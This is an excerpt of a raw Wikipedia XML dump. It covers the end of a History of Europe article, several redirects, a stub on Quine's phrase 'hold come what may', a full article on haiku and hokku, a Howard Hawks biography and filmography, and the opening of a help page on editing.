* [[History of Norway]]
* [[History of Poland]]
* [[History of Portugal]]
* [[History of Romania]]
* [[History of Russia]] &lt;font size=&quot;-2&quot;&gt;(4)&lt;/font&gt;
* [[History of Slovakia]]
* [[History of San Marino]]
* [[History of Serbia and Montenegro]]
* [[History of Slovenia]]
* [[History of Spain]]
* [[History of Sweden]]
* [[History of Switzerland]]
* [[History of Turkey]] &lt;font size=&quot;-2&quot;&gt;(5)&lt;/font&gt;
* [[History of Ukraine]]
* [[History of the United Kingdom]]
* [[History of the Vatican City]]
&lt;/table&gt;

# ''Armenia, Cyprus and Georgia are countries ethnically associated with Europe but are geographically in Asia: the first and last mentioned are in the continentally Asian portion of the [[Caucasus (geographic region)|Caucasus]]''
# ''Greenland is politically European (i.e., belonging to Denmark), but is peopled mostly by [[Inuit]] and geographically is part of [[North America]].  Greenland left the [[EEC]] in 1982.''
# ''Iceland is culturally and politically European, but geographically isolated on the [[Mid-Atlantic Ridge]] junction of the North American and Eurasian [[plate tectonics|tectonic plates]].  Iceland is member of the [[EFTA]], and [[European Economic Area|EEA]], not of the EU.''
# ''Russia's western lands are in Europe, whereas its vast eastern lands are in Asia (see [[Siberia]])''
# ''Turkey straddles Asia and Europe, with a small portion of its territory -- Thrace -- and [[Istanbul]] being situated in Europe, and the remainder geographically part of Asia.  Turkey is currently in [[Accession of Turkey to the European Union|talks to join the EU]].''

==See also==
* [[The European miracle]]
* [[List of Europe-related topics]]
* [[List of conflicts in Europe]]
* [[Maritime history of Europe]]
* [[Politics of Europe]]
* [[Historic list of cities of Europe]] - populations of cities in 1700 and 1800
* [[Historical regions of Central Europe]]
* [[Historical regions of the Balkan Peninsula]]
* [[History of West Eurasia]]

== Sources ==

*James B. Collins and Karen L. Taylor (Ed.): ''Early modern Europe. Issues and interpretations,'' Malden, MA : Blackwell, 2006, ISBN 0-631-22892-6

== Notes ==
#John Hale, ''The Civilization of Europe in the Renaissance,'' (London 1993)

== Recommended reading ==

* Norman Davies, ''Europe: A History,'' Pimlico, ISBN 0712666338
* R. R. Palmer, Joel Colton &amp; Lloyd Kramer, ''A History of the Modern World,'' McGraw-Hill, ISBN 0-07-112147-1

== External links==
* [http://historicaltextarchive.com/books.php?op=viewbook&amp;bookid=1 A History of East Central Europe]
* [http://www.history-forum.com/index.php/board,8.0.html European History] related discussions on [http://www.history-forum.com History Forum]
* [http://www.shadowedrealm.com/ Shadowed Realm - Medieval Content and Discussion]

{{Europefooter}}
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{{Europe in topic|History of}}
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[[Category:History of Europe|Europe]]

[[ar:تاريخ أوروبا]]
[[ast:Historia d'Europa]]
[[ca:Història d'Europa]]
[[cs:Dějiny Evropy]]
[[da:Europas historie]]
[[de:Geschichte Europas]]
[[es:Historia de Europa]]
[[eo:Historio de Eŭropo]]
[[fr:Histoire de l'Europe]]
[[fy:Skiednis fan Jeropa]]
[[ko:유럽의 역사]]
[[it:Storia d'Europa]]
[[la:Historia Europae]]
[[nl:Geschiedenis van Europa]]
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[[no:Europeisk historie]]
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[[zh:欧洲历史]]</text>
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    <title>History of UnitedStates</title>
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      <minor />
      <comment>fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[History of the United States]]</text>
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    <title>United States history</title>
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      <text xml:space="preserve">#REDIRECT [[History of the United States]]</text>
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    <title>Hollywood</title>
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        <username>Antandrus</username>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/202.149.53.170|202.149.53.170]] ([[User talk:202.149.53.170|talk]]) to last version by 131.111.8.101</comment>
      <text xml:space="preserve">#REDIRECT [[Hollywood, Los Angeles, California]]</text>
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  <page>
    <title>Hold come what may</title>
    <id>13216</id>
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      <text xml:space="preserve">'''Hold come what may''' is a phrase popularized by the late Harvard [[philosophy]] professor, [[W. V. Quine]]. [[Belief]]s that are &quot;held come what may&quot; are beliefs one is unwilling to give up, regardless of any evidence with which one might be presented. Quine held (on a perhaps simplistic construal) that there are no beliefs that one ought to hold come what may&amp;mdash;in other words, that all beliefs are [[rationality|rationally]] revisable. Many philosophers argue to the contrary, believing that, for example, the [[laws of thought]] cannot be revised and may be &quot;held come what may&quot;.

See also [[Hold more stubbornly at least]].

{{philo-stub}}</text>
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  <page>
    <title>Haiku</title>
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      <text xml:space="preserve">:''This is the article on the Japanese form of poetry. For the [[BeOS]] open-source re-creation project, see [[Haiku (operating system)]].  For the town in Hawaii, see [[Haiku-Pauwela, Hawaii]].''

'''Haiku'''  （俳句）is a mode of [[Japanese poetry]], a late [[19th century]] revision by [[Masaoka Shiki]] of the older ''hokku'' (発句), the opening verse of a linked verse form, ''[[renga|haikai no renga]]'' . A traditional hokku consists of a pattern of approximately 5, 7, and 5 ''[[Mora (linguistics)|morae]]'', phonetic units which only partially correspond to the [[syllable]]s of languages such as [[English language|English]].  It also contains a special ''season'' word (the ''[[kigo]]'') descriptive of the season in which the renga is set.  Hokku often combine two (or rarely, three) different elements into a unified sensory impression, with a major grammatical break (''kire'') usually at the end of either the first five or second seven morae. These elements of the older hokku are considered by many to be essential to haiku as well, although not always included by modern writers of Japanese &quot;free-form haiku&quot; and of non-Japanese haiku. [[Senryu]] is a similar poetry form that emphasizes humor instead of seasons.


===Hokku or haiku?===
Hokku were always written in the wider context of ''haikai no renga'', either actually or theoretically (even when printed individually).  At the end of the 19th century, [[Masaoka Shiki|Shiki]] separated the opening verse from the linked form and applied the term ''haiku'' to it.  Because it was only after this separation that the term became popular, [[scholar]]s agree that it is technically incorrect to label hokku by pre-Shiki writers &amp;quot;haiku&amp;quot;, a common practice in the [[20th century]].  The persistent confusion on the topic is exemplified by David Barnhill's [[anthology]] ''Bashō's Haiku'' ([[2005]]): in spite of the title, Barnhill admits that &amp;quot;the individual poems that Bashō created are, properly speaking, 'hokku'&amp;quot;, and that he used the term ''haiku'' because it seemed more familiar.

In this article, since it is intended to be accurate and objective,
*''hokku'' is used for verses that are written, if only theoretically, as opening verses of ''haikai no renga'';
*''haiku'' is used for verses by Shiki and later writers, written in the form of hokku but independent of ''haikai no renga''.

===Two examples===
Japanese hokku and haiku are traditionally printed in one vertical line, though in handwritten form they may be in any reasonable number of lines.

*An example of classic hokku by Bashō:

:古池や蛙飛込む水の音　
:Furu ike ya kawazu tobikomu mizu no oto

:An old pond&amp;mdash;
:The sound of a frog jumping
:into water

*Another Bashō classic:

:初しぐれ猿も小蓑をほしげ也
:Hatsu shigure saru mo komino wo hoshige nari

:The first cold shower;
:Even the monkey seems to want
:A little coat of straw.

(At that time, Japanese rain-gear consisted of a large, round [[hat]] and a shaggy straw [[cloak]].)

==Origin and evolution==

===From renga to haikai===
The exact origin of hokku is still subject to debate, but it is generally agreed that it originated from the classical linked verse form called ''[[renga]]'' (連歌). There are two types of renga:
*The short renga, ''tanrenga'', has a 5-7-5 - 7-7 structure.  The first 5-7-5 of a short renga is called ''chōku'' (the longer verse), to which answers the remaining 7-7, ''tanku'' (the shorter verse).  
*The long renga, ''chōrenga'', consists of an alternating succession of chōku and tanku, 36 to 100 verses per volume.  The first verse of a long renga is a chōku (5-7-5) called ''hokku'' (発句, &amp;quot;the opening verse&amp;quot;), the second is a tanku (7-7) called ''waki'', ... and the last is a tanku called ''ageku''.

In the [[1400s]] a rising [[middle class]] led to the development of a less courtly linked verse called ''haikai no renga'' (俳諧の連歌, &amp;quot;playful linked verse&amp;quot;).  ''Haiku'' came into being when the opening verse of ''haikai no renga'' was made an independent poem at the end of the 19th century.

The inventors of ''haikai no renga'' (abbr. ''haikai'') are generally considered to be [[Yamazaki Sōkan]] ([[1465]]&amp;ndash;[[1553]]) and [[Arakida Moritake]] ([[1473]]&amp;ndash;[[1549]]).  Later exponents of ''haikai'' were [[Matsunaga Teitoku]] ([[1571]]&amp;ndash;[[1653]]), the founder of the Teimon school,  and [[Nishiyama Sōin]] ([[1605]]&amp;ndash;[[1682]]), the founder of the Danrin school.  The Teimon school's deliberate colloquialism  made ''haikai'' popular, but also made it depend on wordplay.  To counter this dependence, the Danrin school explored people's daily life for other sources of playfulness, but often ended up with frivolity.   

In the [[1600s]], two masters arose who elevated ''haikai'' and gave it a new popularity.  They were [[Matsuo Bashō]] ([[1644]]&amp;ndash;[[1694]]) and [[Onitsura]] ([[1661]]&amp;ndash;[[1738]]).  Hokku was only the first verse of ''haikai'', but its position as the opening verse made it the most important, setting the tone for the whole composition.  Even though hokku sometimes appeared individually, they were understood to always be in the context of ''haikai'', if only theoretically.  Bashō and Onitsura were thus writers of ''haikai'' of which hokku was only a part, though the most important part.

===The time of Bashō===
Bashō's first-known hokku was written when he was eighteen (scholars doubt the authenticity of a supposed earlier hokku written in honor of the Year of the Bird), but it showed little promise, and much of his early verse is little more than the kind of wordplay popular at the time.  The verse generally considered to mark his turning point and departure from the Danrin school came in [[1680]], when he wrote of a crow perched on a bare branch.  Bashō made his living as a teacher of haikai, as a founder of the Shōfu school, and wrote a number of travel journals incorporating hokku.  He was strongly influenced by Zen Buddhism, and is said to have regretted, near the end of his life, devoting more time to haikai than to Buddhist practice.
 
Onitsura would be far more famous today as a haiku writer contemporary with Bashō, were it not that he, unlike Bashō, had no group of disciples to carry on his teachings.  He wrote hokku of high quality and emphasized truth and sincerity in writing.  Shōfu, Bashō's school of ''haikai'', was carried on by his disciples Kikaku, Ransetsu, Kyorai, Kyoroku, Shikō, Sampū, Etsujin, Yaha, Hokushi, Jōsō and Bonchō.  It became the '' haikai'' standard throughout Japan. Branches founded by his disciples Kikaku (1661-1707) and Ransetsu (1654-1707) still existed in the latter half of the 19th century.

===The time of Buson===
[[Image:YosaBusonGrave.jpg|thumb|250px|right|Grave of Yosa Buson]]
The next famous style of haikai to arise was that of [[Yosa Buson]] ([[1716]]&amp;ndash;[[1783]]) and others such as Gyōdai, Chora, Rankō, Ryōta, Shōha, Taigi, and Kitō, called the Temmei style after the [[Temmei Era]] ([[1781]]&amp;ndash;[[1789]]) in which it was created.  Buson was better known in his day as a painter than as a writer of ''haikai'', but today that is reversed.  His affection for painting can be seen in the painterly style of his hokku, and in his attempt to deliberately arrange scenes in words.  Hokku was not so much a serious matter for Buson as it was for Bashō.  The popularity and frequency of haikai gatherings in this period led to greater numbers of verses springing from imagination rather than from actual experience.

No new popular style followed Buson.  A very individualistic approach to ''haikai'' appeared, however, in the writer [[Kobayashi Issa]] ([[1763]]&amp;ndash;[[1827]]) whose miserable childhood, [[poverty]], sad life, and devotion to the [[Pure Land]] sect of [[Buddhism]] are clearly present in his hokku.

===The appearance of Shiki===
After Issa, ''haikai'' entered a period of decline in which it reverted to frivolity and uninspired mediocrity.  The writers of this period in the 19th century are known by the deprecatory term ''tsukinami'', meaning &quot;monthly,&quot; after the monthly or twice-monthly ''haikai'' gatherings of the end of the [[18th century]].  But in regard to this period of ''haikai'', it came to mean &amp;quot;trite&amp;quot; and &amp;quot;hackneyed&amp;quot;.

This was the situation until the appearance of [[Masaoka Shiki]] ([[1867]]&amp;ndash;[[1902]]), a reformer and revisionist who marks the end of hokku in a wider context.  Shiki, a prolific writer even though chronically ill during a significant part of his life, not only disliked the ''tsukinami'' writers, but also criticized Bashō.  Like the Japanese [[intellectual]] world in general at that time, Shiki was strongly impressed by Western culture.  He favored the painterly style of Buson and particularly the European concept of ''plein-air'' [[painting]], which he adapted to create a style of reformed hokku as a kind of nature sketch in words, an approach called ''shasei'', literally &amp;quot;sketching from life&amp;quot;.  He popularized his views by verse columns and [[essay]]s in [[newspaper]]s.

All hokku up to the time of Shiki were written in the context of ''haikai'', but Shiki completely separated his new style of verse from wider contexts.  Being [[Agnosticism|agnostic]], he also separated it from the influence of Buddhism with which hokku had very often been tinged.  And finally, he discarded the term &amp;quot;hokku&amp;quot; and called his revised verse form &quot;haiku&quot;.  Shiki thus became the first haiku poet.  His revisionism  brought an end to ''haikai'' and hokku as well as to surviving ''haikai'' schools.

==Modern haiku==
===Hekigotō and Kyoshi===
Shiki's innovative approach to haiku was carried on in Japan by his most prominent students, Hekigotō and Kyoshi.  Hekigotō was the more radical of the two, while Kyoshi ([[1874]]&amp;ndash;[[1959]]) wrote more conservative verse sometimes recalling the older ''hokku''.

==Haiku in the West==
Although there were attempts outside Japan to imitate the old hokku in the early [[1900s]], there was little genuine understanding of its principles.  Early Western scholars such as [[Basil Hall Chamberlain]] ([[1850]]&amp;ndash;[[1935]]) and [[William George Aston]] were mostly dismissive of hokku's poetic value.  The first advocate of English-language hokku was the Japanese poet [[Yone Noguchi]].  In &quot;A Proposal to American Poets,&quot; published in the ''Reader'' magazine in February 1904, Noguchi gave a brief outline of the hokku and some of his own English efforts, ending with the exhortation, &quot;Pray, you try Japanese Hokku, my American poets!&quot;  In France, hokku was introduced by [[Paul-Louis_Couchoud]] around 1906.  Hokku subsequently had a considerable influence on [[Imagist]]s in the 1910s, but there was as yet little understanding of the form and its history.

===Henderson and Blyth===
The first English book devoted to haiku was ''The Bamboo Broom'' ([[1934]]), by [[Harold Gould Henderson]] ([[1889]]&amp;ndash;[[1974]]), which later came as a revised volume, ''An Introduction to Haiku'' ([[1958]]). Despite its importance, his work did not make an impact approaching that of his contemporary and acquaintance [[R. H. Blyth|Blyth]], probably because Henderson translated every hokku and haiku into a [[rhyme]]d [[stanza]] (like a ballad stanza without its first line), whereas the Japanese originals never used rhyme.

It was thus not until [[1949]], with the publication of the first volume of ''Haiku'', the four-volume work by [[R. H. Blyth]], that the verse form was quite properly introduced to the [[Western world]].  [[Reginald Horace Blyth]] ([[1898]]&amp;ndash;[[1964]]) was an [[Englishman]] and teacher of English who took up residence first in Japanese-occupied [[Korea]], then in Japan.  He produced a series of works on [[Zen]], on hokku and haiku, and on other forms of [[Japanese literature|Japanese]] and Asian literature.  Those most relevant here are his ''Zen in English Literature and Oriental Classics'' (Hokuseido, [[1942]]); his four-volume ''Haiku'' series (Hokuseido, [[1949]]&amp;ndash;[[1952]]; deals mostly with hokku, though including Shiki); and his two-volume ''History of Haiku'' (Hokuseido, [[1964]]).  Today he is best known as the major interpreter of hokku and haiku to [[Western civilization|the West]].

Present-day attitudes to Blyth's work vary.  Writers of hokku and conservative haiku tend to respect him highly; writers of more experimental haiku often deprecate what they view as his conservatism and his strong emphasis on Zen and [[spirituality]].  Though Blyth did not foresee the appearance of original haiku in languages other than Japanese when he first began writing on the topic, and though he founded no school of verse, his works stimulated the writing of haiku in English.  At the end of the second volume of his ''History of Haiku'' ([[1964]]), Blyth remarked that &amp;quot;The latest development in the history of haiku is one which nobody foresaw,--the writing of haiku outside Japan, not in the Japanese language.&amp;quot;  He followed that comment with several original verses in English by the [[United States|American]] [[James W. Hackett]], with whom Blyth corresponded.

===The budding of American haiku===
Precisely who qualifies as the first American haiku poet depends on one's definition of haiku.  Individualistic &quot;haiku-like&quot; verses by the innovative Buddhist poet and artist [[Paul Reps]] (1895-1990) appeared in print as early as 1939 (''More Power to You - Poems Everyone Can Make'', Preview Publications, Montrose CA.).  Other [[Westerner]]s inspired by Blyth's translations attempted original haiku in English, though again generally failing to understand the principles behind the verse form, which in Blyth is predominantly the more challenging hokku rather than the later and more free-form haiku.  The resulting verses, including those of the [[Beat poetry|Beat]] period, were often little more than the brevity of the haiku form combined with current ideas of poetic content, or uninformed attempts at &amp;quot;Zen&amp;quot; poetry.  Nonetheless these experimental verses expanded the popularity of haiku in English, which while never making much of an impact on the literary world, has nonetheless proved very popular as a system of introducing students to poetry in [[elementary school]]s and as a [[hobby]] for numerous [[amateur]] writers who continue the innovation and experimentation that is the legacy of Shiki's reforms.

Today haiku is written in many languages, but the number of writers is still concentrated primarily in Japan and secondarily in English-speaking countries.

==Contemporary English-language haiku==
While traditional hokku focused on [[nature]] and the place of [[human]]s in nature, modern haiku poets often consider any subject matter suitable, whether related to nature, an [[Urbanization|urban]] setting, or even a [[Technology|technological]] context.  While old hokku avoided some topics such as [[Romantic love|romance]], [[sex]], and overt [[violence]], contemporary haiku often deals specifically with such themes.

Traditional hokku required a long period of learning and maturing, but contemporary haiku is often regarded as an &quot;instant&quot; form of brief verse that can be written by anyone from schoolchildren to [[professional]]s.  Though conservative writers of modern haiku stay faithful to the standards of old hokku, many present-day writers have dropped such standards, emphasizing personal freedom and pursuing ongoing exploration in both form and subject matter.

In addition to the spread of haiku, the late 20th century also witnessed the surprising revival in English of the old hokku tradition, providing a continuation in spirit of pre-Shiki verse through adaptation to the English language and a wider geographic context.

Due to the various views and practices today, it is impossible to single out any current style or format or subject matter as definitive &quot;haiku.&quot;  The term has broadened greatly in modern usage to cover nearly any short verse.  Nonetheless, some of the more common practices in English are:
* Use of three lines written in 5-7-5 syllables;
* Use of three (or fewer) lines of no more than 17 syllables in total;
* Use of [[metrical feet]] rather than syllables. A haiku then becomes three lines of 2, 3, and 2 metrical feet, with a pause after the second or fifth;
* Use of the &quot;one deep breath&quot; rule: the reader should be able to read the haiku aloud without taking a second breath.

==Internet and television==
Both haiku and hokku writers and verses are now found online.  A search will lead to many forums where both new and experienced poets learn, share, discuss, and freely criticize.

In early [[1998]], ''[http://www.salon.com/ Salon]'' magazine published the [http://www.salon.com/21st/chal/1998/02/10chal2.html results of a haiku contest] on the topic of [[computer]] error messages. The winning verse ([[senryu]] to be precise), written by David Dixon, was:

:Three things are certain:
:Death, taxes, and lost data.
:Guess which has occurred.

There are online computerized systems for generating random haiku-like verse; there are &quot;Spamku,&quot; (verses devoted to the processed, canned meat) as well as many other clever variations on the brevity of the haiku form.  Witty haiku, often satirizing the form itself, have appeared in popular TV programs such as ''[[Beavis and Butt-Head]]'' and ''[[South Park]]''.

In [[1995]], the [[scifaiku]] (science fiction haiku) form was invented by Tom Brinck.

==Famous writers==
===Pre-Shiki period (hokku)===
*[[Matsuo Basho]] ([[1644]]&amp;ndash;[[1694]])
*[[Onitsura]] ([[1661]]&amp;ndash;[[1738]])
*[[Yosa Buson]] ([[1716]]&amp;ndash;[[1783]])
*[[Kobayashi Issa]] ([[1763]]&amp;ndash;[[1827]])

===Shiki and later (haiku)===
*[[Masaoka Shiki]] ([[1867]]&amp;ndash;[[1902]])
*[[Kawahigashi Hekigotō]] ([[1873]]&amp;ndash;[[1937]])
*[[Takahama Kyoshi]] ([[1874]]&amp;ndash;[[1959]])
*[[Taneda Santoka]] ([[1882]]&amp;ndash;[[1940]])
*[[Iida Dakotsu]] ([[1885]]&amp;ndash;[[1962]])
*[[Nakamura Kusatao]] ([[1901]]&amp;ndash;[[1983]])

===Non-Japanese===
Although none of the following poets except Hackett is known primarily for haiku, all have some haiku in print. Richard Wright, known for his novel &quot;''Native Son''&quot;, wrote some 4000 haiku in the last eighteen months of his life. Although few were published during his lifetime, in [[1998]] ''HAIKU: This Other World'' was published with the 817 haiku that he preferred.  Amiri Baraka recently authored a collection of what he calls &quot;low coup,&quot; his own variant of the haiku form.

*[[James W. Hackett]]
*[[Jorge Luis Borges]]
*[[Cid Corman]]
*[[Allen Ginsberg]]
*[[Dag Hammarskjöld]]
*[[Jack Kerouac]]
*[[Octavio Paz]]
*[[José Juan Tablada]]
*[[Kenneth Rexroth]]
*[[Gary Snyder]]
*[[Amiri Baraka]]
*[[Richard Wright (author)|Richard Wright]]
*[http://home.earthlink.net/~tclausen/ Tom Clausen]

==External links==
===Hokku===
*[http://hokku0.tripod.com/ Hokku]
*[http://hokku.blogdrive.com/ Hokku essays and information]

===Haiku===

*[http://www.ahapoetry.com/haiku.htm &quot;Aha! poetry&quot;]: Website with essays on and examples of haiku and related forms
*[http://www.ahapoetry.com/wildonji.htm Stalking the Wild Onji: The Search for Current Linguistic Terms Used in Japanese Poetry Circles by Richard Gilbert, PH.D]
*[http://www.hsa-haiku.org/ Haiku Society of America]
*[http://www.brooksbookshaiku.com Brooks Books, a contemporary haiku publisher.]
*[http://www.millikin.edu/haiku Millikin University Haiku, a web site of undergraduate research on contemporary haiku.]
*[http://www.haiku.insouthsea.co.uk/ In the moonlight a worm...]: Ideas for teaching haiku writing that go beyond the syllable rule.
*[http://mdn.mainichi.co.jp/haiku/index.html A list of haiku translated in English, on the English Mainichi Shimbun site]
*[http://raysweb.net/haiku/ A web site containing definitions and examples of haiku, haibun, and haiga]

===Haiku journals===
*[http://worldhaikureview.org World Haiku Review]
*[http://www.modernhaiku.org Modern Haiku magazine]
*[http://www.theheronsnest.com/ The Heron's Nest] -  A well-regarded online journal of contemporary English-language haiku
*[http://simplyhaiku.com Simply Haiku:] -  An online literary journal showcasing Japanese short form poetry

===Pseudo-haiku===
*[http://www.badhaiku.com/ BadHaiku.com] - A lightly-moderated haiku site that has accumulated more than 30,000 entries since [[1996]]
*[http://funnypoetry.com/haikuerror.htm Haiku Error Messages] at [http://www.funnypoetry.com/ FunnyPoetry.com]
*[http://www.haikucircus.com/ Haiku Circus] - Drawings and pseudo-haiku combined to form [[comic strip]]s

==See also==

*[[Culture of Japan]]
*[[Haibun]] - haiku plus artwork
*[[Kigo]] - season words
*[[Kimo]] - [[Hebrew language|Hebrew]] haiku
*[[Renga]] - collaborative linked verse
*[[Scifaiku]] - science fiction haiku
*[[Senryu]] - humerous short verse similar to haiku
*[[Waka]] - Japanese poetry, especially tanka

==References==

*Blyth, R.H. ''A History of Haiku Volume One:From the Beginnings up to Issa''. [[Tokyo]]: Hokuseido Press, [[1963]]. ISBN 0893460664

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[[Category:Japanese poetry]]
[[Category:Japanese terms]]

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      <text xml:space="preserve">{{Infobox Celebrity
| name        = Howard Hawks
| image       = Howard Hawks.jpg
| caption     = 
| birth_date  = [[May 30]], [[1896]]
| birth_place = [[Goshen, Indiana|Indiana]], [[Indiana]]
| death_date  = [[December 26]], [[1977]]
| death_place = [[Palm Springs, California|Palm Springs]], [[California]]
| occupation  = [[film]] [[film director|director]], [[film producer|producer]], and [[screenwriter|writer]]
| spouse      = [[Athole Shearer]], [[Nancy Gross]], [[Dee Hartford]] 
| website     =
| footnotes   = 
}}
'''Howard Hawks''' ([[May 30]], [[1896]] &amp;ndash; [[December 26]], [[1977]]) was an American  [[film director]], [[Film producer|producer]] and [[writer]] of the [[Classical Hollywood cinema|classic Hollywood era]].

He was born '''Howard Winchester Hawks''' in [[Goshen, Indiana|Goshen]], [[Indiana]]. He died in [[Palm Springs, California|Palm Springs]], [[California]], from the aftermath of a fall.

Hawks was known for his versatility as a director, filming comedies, dramas, gangster films, sci-fi, pulp noir, and Westerns with equal ease and skill. Hawks' own functional definition of what constitutes a &quot;good movie&quot; is revealing of his no-nonsense style: &quot;Three great scenes, no bad ones.&quot;  

Critic [[Leonard Maltin]] has labelled Hawks &quot;the greatest American director who is not a household name,&quot; noting that, while his work may not be as well known as [[John Ford|Ford]], [[Orson Welles|Welles]], or [[Alfred Hitchcock|Hitchcock]], he is no less a talented filmmaker.

For his contribution to the motion picture industry, Howard Hawks has a star on the [[Hollywood Walk of Fame]] at 1708 Vine Street.

Hawks was notorious for fabricating stories about the movie business, usually in a way which inflated his already considerable contributions to it. One such story has it that Hawks told [[Ernest Hemingway]] that he could make a good movie out of the worst thing that Hemingway had ever written, at which point Hemingway challenged him to make a movie out of ''[[To Have and Have Not]]''. 

Hawks' unpretentious and straightforward directorial style and the use of natural, conversational dialogue in his films have subsequently been a major influence on many noted filmmakers, including [[John Carpenter]] and [[Quentin Tarantino]]. 

Although originally dismissed by the more intellectual critics in the English-speaking world (especially in the [[United Kingdom]], where his work was virtually ignored by ''[[Sight and Sound]]''), Hawks was idolised and taken very seriously indeed by the [[France|French]] critics associated with ''[[Cahiers du Cinéma]]'' in the [[1950s]], and this spread to the [[United Kingdom]] where Hawks became an icon for [[Ian Cameron]], [[Robin Wood (film critic)|Robin Wood]] and the other critics associated with ''[[Movie (magazine)|Movie]]''.

==Filmography ([[film director|director]])==
*''[[The Road to Glory]]'' ([[1926]])
*''[[Fig Leaves]]'' ([[1926]])
*''[[The Cradle Snatchers]]'' ([[1927]])
*''[[Paid to Love]]'' ([[1927]])
*''[[A Girl in Every Port]]'' ([[1928]])
*''[[Fazil]]''  ([[1928]])
*''[[The Air Circus]]'' ([[1928]])
*''[[Trent's Last Case]]'' ([[1929]])
*''[[The Dawn Patrol]]'' ([[1930]])
*''[[The Criminal Code]]'' ([[1931]])
*''[[La Foule hurle]]'' ([[1932]])
*''[[Scarface (1932 film)|Scarface]]'' ([[1932]]) 
*''[[The Crowd Roars]]'' ([[1932]])
*''[[Tiger Shark]]'' ([[1932]])
*''[[Today We Live]]'' ([[1933]])
*''[[The Prizefighter and the Lady]]'' ([[1933]]) (uncredited)
*''[[Viva Villa!]]'' ([[1934]]) (uncredited)
*''[[Twentieth Century (movie)|Twentieth Century]]'' ([[1934]])
*''[[Barbary Coast (film)|Barbary Coast]]'' ([[1935]])
*''[[Ceiling Zero]]'' ([[1936]])
*''[[Sutter's Gold]]'' ([[1936]]) (uncredited)
*''[[The Road to Glory]]'' ([[1936]])
*''[[Come and Get It (film)|Come and Get It]]'' ([[1936]])
*''[[Bringing up Baby]]'' ([[1938]])
*''[[Only Angels Have Wings]]'' ([[1939]])
*''[[His Girl Friday]]'' ([[1940]])
*''[[Sergeant York]]''  ([[1941]])
*''[[Ball of Fire]]'' ([[1941]])
*''[[Air Force (film)|Air Force]]'' ([[1943]])
*''[[The Outlaw]]'' ([[1943]]) (uncredited)
*''[[To Have and Have Not (film)|To Have and Have Not]]'' ([[1944]])
*''[[The Big Sleep (1946 film)|The Big Sleep]]'' ([[1946]])
*''[[Red River (film)|Red River]]'' ([[1948]])
*''[[A Song Is Born]]'' ([[1948]])
*''[[I Was a Male War Bride]]'' ([[1949]])
*''[[The Thing from Another World]]'' ([[1951]]) (uncredited) 
*''[[The Big Sky]]'' ([[1952]])
*''[[Monkey Business (1952)|Monkey Business]]'' ([[1952]])
*''[[O. Henry's Full House]]'' (segment &quot;The Ransom of Red Chief&quot;) ([[1952]]) 
*''[[Gentlemen Prefer Blondes]]''  ([[1953]])
*''[[Land of the Pharaohs]]''  ([[1955]])
*''[[Rio Bravo (movie)|Rio Bravo]]''  ([[1959]])
*''[[Hatari!]]'' ([[1962]])
*''[[Man's Favorite Sport?]]''  ([[1964]])
*''[[Red Line 7000]]'' ([[1965]])
*''[[El Dorado (film)|El Dorado]]'' ([[1966]])
*''[[Rio Lobo]]'' ([[1970]])

== Books ==
* ''Hawks: The Grey Fox of Hollywood'', [[Todd MacCarthy]] (Grove Press, 1997)
* ''Howard Hawks: American Artist'', [[Jim Hillier]], [[Peter Wollen]] (British Film Institute, 1997)
* ''Hawks on Hawks'', [[Joseph McBride]] (University of California Press, 1982)
* ''Focus on Howard Hawks'', Joseph McBride (ed), Prentice-Hall, Inc, 1972
* ''Howard Hawks'', Robin Wood, Secker &amp; Warburg, 1968
* ''Howard Hawks'', Robin Wood, [[British Film Institute]], 1981, revised with addition of chapter &quot;Retrospect&quot;.
* ''Howard Hawks, A Jungian Study'', Clark Branson, Garland-Clarke Editions, 1987
* ''Red River'', Suzanne Liandrat-Guigues, bfi Publishing, 2000
* ''Rio Bravo'', Robin Wood, bfi Publishing, 2003

==External links==
*[http://www.imdb.com/name/nm0001328/ IMDB: Howard Hawks]
*[http://www.sensesofcinema.com/contents/directors/02/hawks.html Senses of Cinema: Great Directors Critical Database]

'''See also:''' [[Notable figures in Western films|Other notable figures in Western films]]

[[Category:1896 births|Hawks, Howard]]
[[Category:1977 deaths|Hawks, Howard]]
[[Category:American film directors|Hawks, Howard]][[Category:Christian Science|Hawks, Howard]]
[[Category:English Americans|Hawks, Howard]]
[[Category:Hollywood Walk of Fame|Hawks, Howard]]
[[Category:People from Indiana|Hawks, Howard]]

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    <id>13221</id>
    <revision>
      <id>15910846</id>
      <timestamp>2002-04-27T23:21:11Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>*#redirect[[health science]]</comment>
      <text xml:space="preserve">#redirect[[health science]]</text>
    </revision>
  </page>
  <page>
    <title>Hobbies</title>
    <id>13222</id>
    <revision>
      <id>15910847</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Hobby]]
</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:How to edit a page</title>
    <id>13223</id>
    <revision>
      <id>42101182</id>
      <timestamp>2006-03-03T21:05:51Z</timestamp>
      <contributor>
        <ip>139.76.128.71</ip>
      </contributor>
      <comment>/* More information on editing wiki pages */</comment>
      <text xml:space="preserve">:''See also [[Help:Editing]], [[Help:Starting a new page]], [[m:Help:Editing]]''
{{shortcut|[[WP:HEP]]}}
[[Wikipedia]] is a [[wiki]], which means that anyone can easily edit any [[Wikipedia:Protected page|unprotected page]] and have those changes posted immediately to that page. To request a change to a protected page, you may use the {{tl|Editprotected}} template.
{{Style}}

''Editing'' a Wikipedia page is simple. Simply click on the &quot;'''edit this page'''&quot; tab at the top of a Wikipedia page (or on a [[Wikipedia:Section|section-edit]] link). This will bring you to a new page with a text box containing the editable text of the original page. '''If you just want to experiment, please do so in the [[Wikipedia:sandbox|sandbox]]'''; '''not here'''. You should write a short [[Wikipedia:Edit summary|edit summary]] in the small field below the edit-box. You may use shorthand to describe your changes, as described in the [[Wikipedia:Edit summary legend|legend]], and when you have finished, press the [[Wikipedia:Show preview|Show preview]] button to see how your changes will look. You can also see the difference between the page with your edits and the previous version of the page by pressing the [[Wikipedia:Show changes|Show changes]] button. If you're satisfied with what you see, [[Wikipedia:Be bold in updating pages|be bold]] and press the '''Save page''' button. Your changes will immediately be visible to other Wikipedia users[http://en.wikipedia.org].

You can also click on the &quot;'''Discussion'''&quot; tab to see the corresponding [[Wikipedia:Talk page|talk page]], which contains comments about the page from other Wikipedia users. Click on the &quot;'''+'''&quot; tab to add a new section, or edit the page in the same way as an article page.

